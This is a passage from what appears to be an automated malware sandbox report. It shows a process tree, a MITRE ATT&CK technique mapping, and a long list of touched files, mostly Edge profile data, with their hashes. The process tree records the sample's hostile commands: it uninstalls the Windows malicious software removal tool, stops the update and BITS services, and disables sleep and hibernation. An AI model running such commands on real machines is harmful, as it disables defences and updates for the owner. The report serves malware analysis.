  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:5776
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:5624
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:5796
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:5736
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5884
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:5876
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:5928
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5964
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6056
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6032
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6080
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2644
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:6120

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5876

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5464

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\WinErrorMgr.exe.log

Filesize
226B

MD5
916851e072fbabc4796d8916c5131092

SHA1
d48a602229a690c512d5fdaf4c8d77547a88e7a2

SHA256
7e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d

SHA512
07ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
48cff1baabb24706967de3b0d6869906

SHA1
b0cd54f587cd4c88e60556347930cb76991e6734

SHA256
f6b5fbc610a71b3914753feb2bd4475a7c77d0d785cc36255bf93b3fe3ccb775

SHA512
fd0c848f3f9de81aca81af999262f96ea4c1cd1d1f32d304f56c7382f3b1bb604e5fbe9f209ad6e4b38988d92357ef82e9668806d0727f2856c7dc1f07aae2b6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
7b56675b54840d86d49bde5a1ff8af6a

SHA1
fe70a1b85f88d60f3ba9fc7bb5f81fc41e150811

SHA256
86af7213f410df65d0937f4331f783160f30eaeb088e28a9eef461713b9a3929

SHA512
11fc61b83365391efee8084de5c2af7e064f0182b943a0db08d95a0f450d3877bde5b5e6a6b9f008e58b709bb1a34f7b50085c41927f091df1eea78f039402e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
d877bdf0a674da2724c511cf3fed8a04

SHA1
518d898cae922c984419732f16be98113de880cb

SHA256
cf7a1d7f1eedf64e68971b66cc91f4d11f07e7920c46329a84bdeb1210a7b3db

SHA512
8817a9244734b979f3d4302324a62afafb5e3dc8ba19173924ab97cc35ddbdde54ed925b5484a3abaa50d90c66aba1f2e9e1f43e43a51d2114a5ba960ebade79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
a9d62947f86df35a666a94d9b45b0704

SHA1
2acb80ab4fe3709f536b46caa0e740f64e6bc77b

SHA256
a028e6b9a4cd4a73366d62bb443e83def23bd72f9d74eb0bf0d274de063202fa

SHA512
221bc837c716940b114a553d539a1cfb4cde7b06d507e9e01d62ee0d5dc0b9fda4370454f8734a6a6797c16e7301bc0968c035c072a69875e45e4229f4aa2709

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00003c

Filesize
21KB

MD5
44129a82842153ef9b965abfb506612a

SHA1
c0964eb2ee1a76d48e4e09e31915415d74e18bbc

SHA256
8a3908fb32a414703eff3e435566b1e5598eb3a5d50c500e70eb1a5c20d003d7

SHA512
77d149f19343d765834f2bcaa02bc160c75bd42db1fc431aba87f78257a83c4c8a7e5953c247cb7cbbaf4ae44ace269eb0a5194dfd7489d66f69489ce5dd78d4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00003e

Filesize
623KB

MD5
76f3e1cf1fa837502e382d9e9294dcee

SHA1
7eea28581c9ab13c3ba35775053a017217c20ba4

SHA256
e1698c8739217201c4dc377538619347b50c8bee46718ea5c9796a38e7d4a416

SHA512
57c73952f746504e98cce37548a19e1e31b0b6593078d6ccf90e6c814f53c97bc5806dc51856c720e4091c4fcd09dfcdde74857ea79319abc454795a2fa88fc0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000041

Filesize
49KB

MD5
c57ac5701bedd93cb1c66bedb718d0b6

SHA1
931f3ebd475a74d5896037a553e2ef5e76ee9115

SHA256
fb6f65cf2a7bc9dd640686e1a5c4afc13caeb3c46b5fdd21331cc9a98888d1f1

SHA512
fe66936b5cbb7adc612ba50ab33a12226616ada165013e398e1d68eccb6ed7022c2b7b14ab75f2fef9ebf3c54b14ec3e78029a85d0f155a63d884bcfbf4cd845

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000042

Filesize
37KB

MD5
d6036bb96a2e49a1ebd8db1bdb3b2e0c

SHA1
dc0f489664063ed7a3d5a5a4e0f73163a6893d6e

SHA256
32960e46ccdab75b463b574d93708655070d045881c1956144170fc375096c26

SHA512
5a546975210813940bb5b41edbef0f76a891e140c839fe32987e5101112f266c079671defbb498b52c4d65ecc91e0f74c1633d7d0ad3c40bafc359afec9196c1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000043

Filesize
68KB

MD5
5fe6695edf409d21dc27cbbf5f59a9a3

SHA1
751468e9273c5efccfbe263bd44895b399a24d11

SHA256
7582ae584857d81d319d20edabfe22f6faa1767d021325f09f4115b713746474

SHA512
28887de40ee3bc3cde20c962cba78bf81fcb2574df4e888a1140dbb39c40a12306a2d72736e878ee41d6fbc68880ba128c9161b732862dd8f402e978b4c8be9d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00004f

Filesize
21KB

MD5
b65a8ef280f31e5938912467c75a8db2

SHA1
11eacd5c2c6093cdcb315febad2e1bba5dced6e7

SHA256
fe988feda1de06d9bf84ab98bfa33c35becee9fdd63e054c1ea2339eac6b0714

SHA512
a28b77cfe25c4d93c397945e492e65ec10f23e9af6b6b1ac3af83312bc947254bb63a884faa28eb85268757eb7e163d2a80621a2ba1c4cc350e575f9dd81787a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000054

Filesize
106KB

MD5
c32068cc5af65c3041ba5d1169c21877

SHA1
4916b1ecb06fc8dae881723edce23c15f992c425

SHA256
d2236b94ac1e28588be6609b6320fd429146a70e97f37e2a4d70410cb15990ff

SHA512
f6ee1f788ea0ab74538c9661df557b9f1f81465f098a9021d73703a7fb5fa81e849b89ce6a4af8377972b3a39179860483eed32cf7277c414aa96b48344ce3e3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000055

Filesize
223KB

MD5
bae0c275ebc3ab4e7a50be41487fd57e

SHA1
40cac53fb72f4db902974035d8743b8a59488d6b

SHA256
2134ee281a3c0585e5827d193d6a054ec81240e272d6eba7b3b6af43cddc298f

SHA512
bc44abb0d86dd3dc1bfcb2cc39b13eae068181ef7e7727b1c7573a25df8c2db377a799bc311d27b272046387d93d7c6e3fd548e5cba9473f32cabe71e621f5a8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00005a

Filesize
28KB

MD5
fc8e02e6005eff8b083c734978597b99

SHA1
dd9d6724a713ecab328472e688485b0a8b7c210c

SHA256
bcb6e48497d64d3b6d5e66f81018ef9c259dc60eb4b2df4fd78dbed7d55a6cb4

SHA512
65cf82185c92627d2e2e06e49b21f2bbba7e9ba4b0381d2c5bce9af1c1ce47dcb19d4da90bcbbb9a9f4fa578a7c958ff748a110905da204c804200ba6d3095a2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
72B

MD5
16d262342762d3278f06c4b57e7f10a8

SHA1
c6046c58a4f4191ac0ae40d3280a18658329fe2d

SHA256
0e255abd83118864774cd6946a5239e4b66094bffbc8ebde9975eabed9097d77

SHA512
61085fc717ff41b975402b5ef2786d56a77ee8ab308bbbe7662b5581cb81032892145af7e6b78238e9d8c03af1650af92099b6158de1f5e4453fe1555f451373

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
5afa7e99296ba15d2763e8b17e347c2a

SHA1
4984a21bda5a79c6e800af6db1ac67fb1584806d

SHA256
2cee831353547e76e0afcf74b1ff3e275d639445a233a2131fba4fc0a672bafe

SHA512
cc93ffbcd04576c2af0556f35ac7684829226e026ab63f16b30b43c2b1d9f2fbdf838ab748615f404016d2fc103974069e1767b6e359ffe67a1586c6b466ae74

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies

Filesize
20KB

MD5
1828a4ef60073db6ca2e7a19a69b9f04

SHA1
73392d91f1f1c2c0ac7b152b2eb09b79d98eca22

SHA256
615346b62491c6ac9186af486e1b7d7f8588b49f7eb601fb223e643e6938c58f

SHA512
1102de419d9fb8138a737fec2fe6e7e0c7ea1c4c6bf883d59073e072cdffd5cca39d2fd1c173f8dd55219b59b652445b1bace04bfbe7946e620fa88475e47d79

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History

Filesize
124KB

MD5
9d3ccf8bb5048a628ee753734924cab6

SHA1
4bc12a5aabf75d606a225fed1ce95cbb0e277223

SHA256
5307ab68c8ad56ec69dce67872e8792edf3480f24a241ebe59f20cc2e9748c86

SHA512
c108e97403b041fff2935a7c592b83f3a9c2df2a9e57322b6a3a8d8eeb701fbe985ca99e8c9382e23675250844265f6e36ddbef98f0081b205324c13566a632e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History Provider Cache

Filesize
737B

MD5
605b9580585de62136dd1ff47ddfbcf1

SHA1
12dea1840067823c376facf09b2be3bb13d78877

SHA256
94290e27c016f458d1dee186e72dc8e819a4dd26bf22e094ad7a15ad022bff68

SHA512
c4f00a4b955042de123b05b3b5891122160793031385401d319fa3d425f3bc2df992bde732b549c952f05d2aef82b154902152a0878e0ca11f721109f73e43c1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Filesize
306B

MD5
ace991014665dbcdd347f144ddb19b4a

SHA1
8bf6eb0f12a96740b9d44a8eceefff6cce14be6a

SHA256
1539410bbd128e732fc41d0ab6ad6c2983f9b5d24fba811cda63ca0af5074da1

SHA512
48716e8d7e76a16afaf7cd27b22c2331fe52c0b9a3b93e15a3953c09a267439fbbd828b113eda0f6f339150d35d556ce3be334cba28adf21daef837ca50c1a4d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Filesize
334B

MD5
3c48f4c5b857c05ea1ebfe5fbaded18d

SHA1
31fb15437748db4b26a9d15a5d3e9b188cb2286a

SHA256
98f602ba1afa4f15e9382c9305bf894f21892aac18475265a3ba414f1038e86b

SHA512
4c82bded59b6d2206df87e1c0b2ea79788e2ad0d2173b0dbd6bfae20105031712e1b1d19ba531aa0f03c826fae261a693ccbb618b407754d13d6669b4bae8c80

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
4e253332547adb8a94a4aa36d72a2a37

SHA1
057babc365bf2186172dd0bbe7cf1cc7364175a5

SHA256
311826c77285ccbabb7d3ca9c7a2d394204d1563a6d7837c39207bfeeec6909d

SHA512
f7cf51f31e6ab7aa8f0ce23b16d724bd1859900b4ebf3105f73375bfb1a6d37b5f8b5843ba559d976ac42e2ff2a61d1cf220ed0c11796b68fb14adb19fdcf074

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
9KB

MD5
dd19bb8703eba48a56a2b9fc1469828a

SHA1
2d913cebde77bbf08fb1443abd4f235df62404a1

SHA256
245ff661210890219cf1f989f8adf99d922411d4523cfb3ba2e6709ae1597427

SHA512
90d0c0ed2bbfd2b408e8adae85d9ee35be670902bb2608028f41505cc8e17604f90fab64d48e6bbdb680e37f3aa882002fd784b787ea003cb5f9e5bc536d93fa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
a41b1f2ef8fd77fb6e193e058e962d4a

SHA1
ba15e05e2513384e8ba20e629e14d290945c3ba9

SHA256
51bb15ec0f6973bdd98048d747899455d6eb4f6cfd36e5ced76d089819a5483d

SHA512
980e47e7fbe283c49bf7c69b7c65d68e2e830a93431067377b3451f97858ec1d1e758cd3dcd5b5dc70f35157858758dc1e4d8cf16f7c97d2685d2a8328218960

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
04004f01074785b6de8961d2276fd21a

SHA1
bbaa26bbff0457b68539484fa13368940c63fe0b

SHA256
6bf4f1d8876cf97db01922be73112a5798708066ae6225448bd7aec119c4b77d

SHA512
82eafc6bb1cd77a903357101e4e4cc2b6c2b865d9fd54219279ae48c9e25124e881665b237fe0f6a9483dea1ae7bf540aaeb586d271d4c00b051d0a646b6ab9c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
ed94565b050d8bd9ca4328f4f101d9e0

SHA1
a789a02cb9f3c07d82184a8fb55c38b3fccbd4af

SHA256
4203cf3d721227debec54837cd11601159255ca5be63ec7d193df791f80aaa55

SHA512
b31ffb1ca173a2b0c99058345f5904b68c22b7f19b28abcf33232fea9c2131383c6fb076f5dcb300ef9ac4e7343636895000b6d2a0086986f86e9a82942ce030

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
9KB

MD5
ddf333dbe1783b273a4367560b5d83b9

SHA1
3ee21bdc9b81f6fcb230bd4e08696b691f64fa6c

SHA256
5fb3aab00f898700e288ecbc9674f31c1c5ec3dcbc596b07ada06a35a16d45b3

SHA512
053d9edcd18f88d38f8fdebe6a25595a78cc8200bd1b8868acc47050dadfb0212d75e8ee200c5cf42e85ba27a0ee6b722eaf5bc7ef1321db541ab26685e4c09d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
9KB

MD5
fea771f42ba29fce7ff40d9aadb71467

SHA1
c0dec9cc4b146610465584fd683c85050c2e1c9f

SHA256
0f11e1bbc6cf14aca93d55932d91677dab094abb092f6c8e6f5423850056ad76

SHA512
b8183b7440388f85f7c961fa3b125ce724fcb5a379fcb2aa16901761ace8c850bb949262dcba0561e24aa2825794f24b35480fdb3c4a61ae2b5a5e82398621f7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
fcc59bdadd04b82e9806c22bfa3bafe0

SHA1
79d9e10ae8572f1314caadb711e4e88850ae90b2

SHA256
3bb024391df4ce8a9089278d12d46ec384fac354d6dfdc2ac491c008160f4e9b

SHA512
4eb0ae039246399f79cb8cad098499a72041cc2c2107b3e108195aa7f008854339f830486710304212b68844d7be9f59da15947d19b4d3493dee4605ea57636b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
9KB

MD5
6612bba5c945f2cf37571913d512ee3b

SHA1
1e4187d127c9cc60383778b87ed7d17f2b908268

SHA256
0c75cf45b3d6a71f36641f493f4e548b63ef4b7437f8c6670b7bff9bda3b440b

SHA512
eff6cf8ef8d502b4e4c85d88957641f55561424572aabdfb94458e673e145b94f0c87a9b036c070b452fc5a8df3d9eec5935fdd7143cb59750c5243a35e963f1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
8b4609d189f92b3e43e86b0399f7f882

SHA1
2458bb9ac0377c4725d8bc2ce5edf61261976b7e

SHA256
436ee7f312a5e20defafb0d0fe41f3fd89b02a52689fc11d763ef01950989556

SHA512
7a6d0d970d620bbd81b9fc47db796c1850a0f721bc5c4e64accfd8d0090c5ef55f2988aa2ec897a376d14bc9e8b82ca8296de4f26e5cac39e44416f76bd010dc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\c1eb0cde2406b6af565f825dcd492589d40ab644\c683aeaa-f259-433c-aff3-dca17cd71027\index-dir\the-real-index

Filesize
5KB

MD5
1fd92e49bb34c1eb61521540b7b59112

SHA1
a9eac718594dee175e2fcdd8afc3cbe064dfebf8

SHA256
82db20a9b648b8e70ea748abde322d1df8b48782605edecb3d3248cc3d5f889f

SHA512
940ec759a89312364fc012420182fadca8aebda05665936aa2437f4877507df1fc124d2ab0af1d5dbc720d38a8bfffe1700a78848922067052950a3deca86f12

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\c1eb0cde2406b6af565f825dcd492589d40ab644\c683aeaa-f259-433c-aff3-dca17cd71027\index-dir\the-real-index~RFe5982a3.TMP

Filesize
48B

MD5
efce012c7dfd13484a645a3be6f1cbda

SHA1
41da59d9b72fca064c0e77844bbc940371bd873d

SHA256
06f3b5c898ec13a6e1e134dbf2aeb714e2e97cdb4c1d80c5ce60fe6183c9244a

SHA512
ddec474f4b85d2fe112c77027ce6a4383f326a75b034978f97c272e6f21539ab6bd293b553812da599c1f8018ca10886e2655ee5b770d5d627a97a258eb9a85d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\c1eb0cde2406b6af565f825dcd492589d40ab644\index.txt

Filesize
93B

MD5
4861bbe8fa6bc3ca8914eba620f1bc8b

SHA1
b6b195f656b9763a0fbdd0c416d0212b0aea4729

SHA256
fe5b0c2ddf08f574e5234c5d941825e6664506e889e39d8890de2636818cb6f2

SHA512
c3584dcc5ee5c0561c03a080980f79316a12b823bef795ffb1ceaa863a9b75d84c7017735734a457dd57b7f683a317f4bcbf98da337ec7a29836eec4ab706d42

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\c1eb0cde2406b6af565f825dcd492589d40ab644\index.txt

Filesize
89B

MD5
b645b2b1d4d85b812b0bda44decd3771

SHA1
90011e9dac3aa3854b18fe1415bf7b3a34878ce1

SHA256
dffbf0a136cd3c2564b47832d4cc65d503507e565d5c611031ba3b387f078aad

SHA512
3188f2636f81c3f28f37c4affcedd11d916c16791b33aa13beea1046b1357cc43c7395c98386acb58a979e5a3662248549a2e0089b7d2f334cceb0f831119135

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
72B

MD5
c8f54f9becc135e0b43dd7d187b86206

SHA1
c25e01121d63650673f92fb49d6439cc97bb0d4d

SHA256
81d3f7b054a0e2b90770d5504a324fc5ba368462cae4d0fed44835552b162799

SHA512
d580dd47cff283396df551f13ec66ca21b0d58cb03a7313b8650b335a5e0ba30f12e476e11d7a2b6a30548944a98a2e17da7c457a10b456619161b0cda035cae

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe592b7b.TMP

Filesize
48B

MD5
395fb4028c97c93bd37e4b0c07b44a61

SHA1
8f65461be1488c88f0b9e39b4e75e1398b63bccf

SHA256
f1d0b3f3c2b20fd6ef96dd5f18ac712468254f3584bf64874d0f4aa20268d105

SHA512
18e4e1f400a74252d0ee48c167f1b3a7dcd498053190f520b5c19eb278ec3abc465d2893123feba3804e1ae0fc0b40831aeaf49f53303b7fb12ee0dabdbef6e6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Tabs_13357951612508495

Filesize
1KB

MD5
19a86fdd37213edf59dad177597d73bd

SHA1
ff17d16337e577dc1fb75b619183f09165cdb6f4

SHA256
e103c7e50157132f5d3b9a46dde2e06b669169f78ab47093e5ecca2961658d85

SHA512
ae1169f3b586dbc7bf2624b6faab2be4abb329f35a525522df5243ef6c093c0e91231592962db81f717b52b034ffbe5f94565067c8bf8b40206523f406e59a6f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Filesize
112B

MD5
0dbdb230d9c8a7593f2e1ca759587f6e

SHA1
4fdfc32527c4bb84f59ad59ec355f8f0346126e4

SHA256
6d43c56163c739952f90efca1d4413e76ceb9b939acf8eab37e7b1450c8846ac

SHA512
97eff52b22456d1302dc61b3d9f7982897f9b0fa5f6173bd74195159c7ba258e67727c5055e74a77e83b9f5a2d7708c344f6568b77faa04605043de9c70380d7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Filesize
347B

MD5
ffa0912aeee21d2e76497a928d7e5a4e

SHA1
158a2af8ad0912def81edbc231f97517dbf3166c

SHA256
97bba2021b2d477395a757045fdaad9d093c0b2af7ea6aee03d2559fca52fe82

SHA512
ce556200d32ef02434aabf7b23e6037748f119a676dbcbbe33c793948ac83a77152ffbe823fc6b5d85186ef338de0a963148394778561d8bed1a383647b305e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Filesize
323B

MD5
b4e5f985c3de79370d0bf926b5176c85

SHA1
74c7f7c70345aa58921ea9b86c8178aac3250a0c

SHA256
31b07ce510812bde38dcedcb60753f7c962ebfc14cb7da2bec18a5cd839645c2

SHA512
8951b4e5dfaf18c44c83d486f7c6b4c8feff2c2b4d3b6bf863b8ede18f3c388ef63646bc78895cccb7bc98d2726473cefc33a49174edfbe2410423287b880e1d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
2KB

MD5
8309a54b6a9454de9fae46fde745598d

SHA1
829d598505431146c6695027697f34a42cb9202a

SHA256
c1294dd14a77f4295f90ac301b19746253efa310f2099fda85fddcd4a5c57499

SHA512
1b53f5195fc55c561466dee1ddae4e43afddf04eaf1365b5012cd9aaaca775d02f3d4c43515dddede57737024663b8b903695286e853a291e59ad634d86c59cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
3KB

MD5
b944f6c773217b79462d975085b75a3d

SHA1
6c64ce9593d5e90a84beddc3d1ebba67276b6cf9

SHA256
fa1d3e037ea18e81fa70f2e60443fc19e51c0172ddb445b4a35a211da979cb0f

SHA512
8ea4d42d2d5dadbfa0d7153ca44a67a178f176f9f6f34706652cfc07cf6aea83c365a40a581ff6bc0616b5779d0e62600353ac9722a48b87b0b5c34180f34028

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
3KB

MD5
cc98a17a1bc54ab5b04c5f43a7a53028

SHA1
29b9bdfeecc0376f18782c682efe7004cbee01d3

SHA256
df6d857d3f029e5b361cde9b3c9bf013ea06165f53addfe526235f7edc095a6d

SHA512
c7ad5ba18a218ba888e2676814122f68ff863f861c5b9fbb0f9f51f8f27fa23a1896599af773b3b2cacc1e485fc9cbe8903f7dcb61337f752835e72056984cd7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

Filesize
128KB

MD5
e202c07fa7bb45d73799cf4e2999d6fe

SHA1
a32c836d8bd94a51a9683c524ae4e7711a44f485

SHA256
069680134ac0f0fa83480f9a430b077f80899c6a7d493b1bc0419bcffc772073

SHA512
b4c4fe10ec57f0ca12480c630afcac9ab797059c621224a83a72e10192ee4af3d4e7cd791bb3f2b45212ac2b0b2c832a57ae77670fc21e75fb3b7b8f9b324921

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
aefd77f47fb84fae5ea194496b44c67a

SHA1
dcfbb6a5b8d05662c4858664f81693bb7f803b82

SHA256
4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611

SHA512
b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db

Filesize
44KB

MD5
8dbe1ebaf1e66a8866e03d1988ff6ff0

SHA1
c74bd8e2603ba81d3cec909ba261608ae7b1dc18

SHA256
aaf6128766bb9d04e4ba1c557ec1bad4505218207e3eda7013436ecbe87e2713

SHA512
e1a7caab296768f003efa24a748a197593467d62b6f74b26cb5885a2dd25a92898ce20f5c5fc25a92ebbcf57785448047a76f0563f83eabe16595a8c33a3b3f6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version

Filesize
11B

MD5
838a7b32aefb618130392bc7d006aa2e

SHA1
5159e0f18c9e68f0e75e2239875aa994847b8290

SHA256
ac3dd2221d90b09b795f1f72e72e4860342a4508fe336c4b822476eb25a55eaa

SHA512
9e350f0565cc726f66146838f9cebaaa38dd01892ffab9a45fe4f72e5be5459c0442e99107293a7c6f2412c71f668242c5e5a502124bc57cbf3b6ad8940cb3e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
12KB

MD5
406be76f0f0cf0dd64c663fc3484833f

SHA1
260631aced0e390fa43955bdfe795b8eecec1d60

SHA256
c08089e41c83649324ca0e2762b537389d88f0a5dfe5730ef1ebdb596c1c0b0e

SHA512
6f02baf80e1cf608c37f39f18549c51604d84bc1bf7395cd90aa26e1b83e2ad201e93f605da7f14dcd341a56b4139310227c28857c94f181ad596b2be526f0c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
811c0cfd962477c876b8647ebb3ba3fa

SHA1
5fd674732039480e1f6e6d24b1415b972913afb2

SHA256
9c6ffba049f034d5c8d67d8e4ecbed45a127876091ed1f4c8ff05eda08d932b5

SHA512
63df204036ab93d8750a28e78ecc40cbbbce305591c0bc71c148367e936b8d817dadc9c7e19db09a49b680774d9fe579ff5a12f9b80bcf0bbc360d05b4ebae9f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
655520b828ba5645a33eae9773aa0531

SHA1
bc88e3c349fb551a6935f41099df9f65a240cdce

SHA256
abd1030cd8682e86240b41bfa9c5c6fb3edc2b596e593eb7f7fab21d952c2bcf

SHA512
